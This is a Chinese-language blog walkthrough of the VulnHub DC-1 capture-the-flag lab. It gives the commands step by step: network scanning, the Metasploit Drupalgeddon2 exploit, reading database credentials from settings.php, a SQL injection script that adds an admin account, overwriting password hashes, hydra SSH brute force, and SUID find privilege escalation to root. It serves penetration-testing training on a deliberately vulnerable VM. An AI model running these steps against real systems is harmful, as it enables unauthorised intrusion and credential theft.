[VulnHub]DC-1靶场全过程
DC-1借鉴我们OnePanda-Sec团队的文章
https://mp.weixin.qq.com/s/BbPkmDiZ-cRleiCqmj114w
靶场搭建
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192314997-1226721918.png
先导入DC-1靶场,并将连接改为NAT模式
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192315509-778702871.png
信息收集
先通过nmap -sP进行扫描主机网段信息
nmap -sP 192.168.190.0/24
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192315845-1483636916.png
arp-scan -l
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192316162-140229943.png
然后基本可以确定DC的IP了
DC-1:192.168.190.137kali:192.168.190.128得到了ip地址就可以搜集系统类型了
nmap -A -T4 192.168.190.137
[*]nmap:Network Mapper 的简称 ,是一款开源免费的网络发现和安全审计工具,可用于列举网络主机清单、检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等 。
[*]-A:表示使用进攻性方式扫描 。会启用操作系统检测(尝试识别目标主机的操作系统)、服务版本探测(识别开放端口上运行的服务及其版本号 )和脚本扫描(调用 Nmap 脚本引擎 NSE 执行一系列脚本,进行更深入检测,如漏洞检测、后门扫描等 )。
[*]-T4:指定扫描过程使用的时序。Nmap 的时序有 0 - 5 共 6 个级别,T4 属于较高速度级别,扫描速度较快 ,但也相对更容易被防火墙或入侵检测系统(IDS)检测并屏蔽,在网络通讯状况较好时推荐使用。
[*]192.168.190.137:是目标主机的 IP 地址,即此次扫描的对象 。
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192316715-1771376390.png
我们大致可以看到端口以及服务信息
[*]22/tcp:SSH 服务开启,使用 OpenSSH 6.0p1 Debian 4+deb7u7 版本 ,展示了 DSA、RSA、ECDSA 三种类型的主机密钥。
[*]80/tcp:HTTP 服务开启,Web 服务器是 Apache HTTPD 2.2.22 (Debian) 。http - robots.txt 禁止访问 15 个目录和文件,网页标题为 “Welcome to Drupal Site | Drupal Site” ,网页生成器为 Drupal 7。
[*]111/tcp:rpcbind 服务开启,版本为 2 - 4 (RPC #100000) ,还有相关的 rpcinfo 信息。
[*]MAC 地址:00:50:56:3F:73:32 ,设备类型推测为通用型,可能是 VMware 虚拟机。
[*]操作系统:推测为 Linux 3.2 - 3.16 版本 ,CPE(Common Platform Enumeration 通用平台枚举)标识为 cpe:/o:linux:linux_kernel:3
基本可以判断主机是开了网站的
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192317100-1938031949.png
当然,我们也可以通过kali自带的whatweb进行扫描,这个可以扫描出是什么CMS,也更加全面
whatweb -v 192.168.190.137
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192317458-1530060621.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192317803-1109813394.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192318151-322747258.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192318454-723328167.png
从上面我们可以知道
Apache 2.2.22PHP 5.4.45Jquery 1.4.4CMS Durpal 7然后就是用dirsearch工具扫一下目录
dirsearch -u 192.168.190.137 -e *
*表示扫描常见的所有文件拓展名,dirsearch如果没有安装,使用该命令时会提示你安装
如果在运行时报错
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192318802-1616590370.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192319101-1620651408.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192319451-1230168088.png
扫完后会发现有很多目录
漏洞利用
我们知道了CMS的类型和版本,就可以从cms的角度入手(这在实战中也非常常见,通过历史遗留漏洞成为突破口)
我们可以利用msfconsole查找
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192319823-637881312.png
search Drupal
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192320197-374408912.png
我们用18年的excellent的漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192320591-424324197.png
show options查看一下我们需要的参数,其中yes为必填项
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192320925-2064051676.png
先设置一下rhosts(设置为目标机器)
set rhosts 192.168.190.137
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192321283-883924245.png
设置完后我们可以再进行show options,养成一个好习惯,看看有没有设置成功。
然后直接run
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192321591-797174206.png
当出现连接成功,就表示OK了
之后就是我们的后渗透了
先shell一下执行一下我们的linux的命令
ls
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192322042-590626810.png
可以看到存在flag1.txt
Every good CMS needs a config file - and so do you.
这句话翻译一下就是 每一个好的CMS都需要一个配置文件
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192322368-1962951207.png
find / -name settings.php
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192322695-430661442.png
cat /var/www/sites/default/settings.php
查看一下,获得flag2
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192323023-53313429.png
最重要的是我们得到了数据库的账号密码
并翻译一下flag2
暴力破解和字典攻击并非获取访问权限的唯一途径(而你确实需要获取访问权限 )。拿到这些凭证后你能做些什么?
得到了数据库的账号密码,不妨登录试一下
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192323381-376385133.png
但发现一直卡着,因为shell无法直接交互数据库,需要在shell的情况下获得一个可以交互式的shell,当然需要有python环境的攻击机才行
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192323670-951558335.png
show databases
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192323972-2074201967.png
use drupaldb
show tables
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192324274-640693843.png
存在一个users表
select * from users
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192324672-2037449849.png
拿到密码了,但是发现根本爆破不出来,同样另外一个账户Fred也爆破不出来
解决这种无法爆破数据库中网站的密码,我们可以用其他方法
第一种:添加admin权限用户
先exit退回到msf页面
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192325061-282348028.png
因为在之前我们知道了Drupal的版本为7,可以利用漏洞查找工具searchsploit来查找drupal方面的一个SQL注入的漏洞,会发现很多个漏洞脚本可以使用
searchsploit drupal
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192325440-1234731921.png
我们看一下34992.py这个脚本,可以通过这个URL进行下载
searchsploit 34992.py -p
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192325809-2026716320.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192326183-1339891029.png
然后下载下来放到kali里
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192326572-1133964941.png
python2 34992.py
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192327149-907218182.png
这里需要我们加一下参数,目标URL网址,账号和密码
python2 34992.py -t http://192.168.190.137/ -u test -p test
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192327507-772514122.png
访问网站,输入账号密码,成功登录
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192327812-1576378427.png
第二种方法:修改admin的密码
在进行之前,先run一下进入shell,并加入python交互性
在drupal里面,会自动给网站的密码进行加密
/var/www/scripts/password-hash.sh
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192328170-125127911.png
而且可以加参数
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192328514-28061758.png
得到这一串加密密码后,先登录数据库
mysql -udbuser -pR0ck3t
然后进行替换密码
use drupaldb;update users set pass = "$S$DYyGW7gbUhpGleULFWyeDmGwNxS6ygReItLe6J16hbW/noY/BEXf" where name = 'admin' or name = 'Fred';
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192328969-515986917.png
这样就已经改了,我们也可以尝试一下爆破(因为这算是一个弱口令了)
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192329376-668696420.png
然后尝试登录一下 admin/test123 可以登录成功
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192329665-24152410.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192329949-362965202.png
找到flag3
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192330310-1566703894.png
我们查看一下/etc/passwd,发现flag4
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192330645-1877024868.png
但是我们需要登录这个用户才可以查看
要登陆这个用户,需要获得密码,一个是爆破,一个是看shadow文件查看密码,会发现并没有shadow权限,因为这个需要root权限
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192330948-1890032699.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192331214-1796498836.png
第一种方法是使用hydra对这个flag4进行爆破,使用rockyou这个密码本
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.190.137
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192331594-1264030891.png
得到密码 orange
ssh flag4@192.168.190.137
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192331926-820055563.png
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192332222-1724605874.png
然后回归到第二种方法就是提权,得到root权限,可以用SUID提权,需要利用find命令,查找具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
[*]find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
[*]/:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
[*]-perm -u=s:
[*]-perm:是按文件权限查找的选项 。
[*]-u=s :这里 u 代表文件所有者(user ),s 代表设置了 SUID(Set - User - ID )权限 。-u=s 表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
[*]-type f :-type 用于指定查找文件的类型,f 表示只查找普通文件,不包括目录、设备文件等其他类型文件 。
[*]2>/dev/null:
[*]2:代表标准错误输出(stderr )的文件描述符 。
[*]>:是输出重定向符号 。
[*]/dev/null :是一个特殊文件,被称为 “黑洞” 设备,所有写入它的数据都会被丢弃。2>/dev/null 意思是将命令执行过程中产生的错误信息重定向到 /dev/null ,即不显示错误输出 。
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192332556-693803620.png
find比较好用,可以通过find执行root的权限查找文件,会发现获取了root的权限
find / -name index.php -exec "/bin/sh" \;
[*]-name index.php:-name 是按文件名查找的选项,index.php 是要查找的文件名,即查找名为 index.php 的文件 。
[*]-exec "/bin/sh" ;:
[*]-exec:表示对找到的文件执行指定的 shell 命令 。
[*]"/bin/sh":是要执行的命令,/bin/sh 是系统的 Shell 解释器,这里表示执行一个 Shell 。但该命令存在严重问题,正常使用 -exec 时,需要用 {} 作为占位符来代表找到的文件,此处缺少,会导致不是对找到的 index.php 文件执行操作,而是不管是否找到文件都会尝试执行 /bin/sh 。
[*];:是命令的结束标识,\ 是为了转义,防止 Shell 将 ; 当作命令分隔符提前处理 。
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192332895-1307755838.png
发现已经提权成功
https://img2023.cnblogs.com/blog/3588329/202504/3588329-20250425192333243-2011901798.png
获得最终flag
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]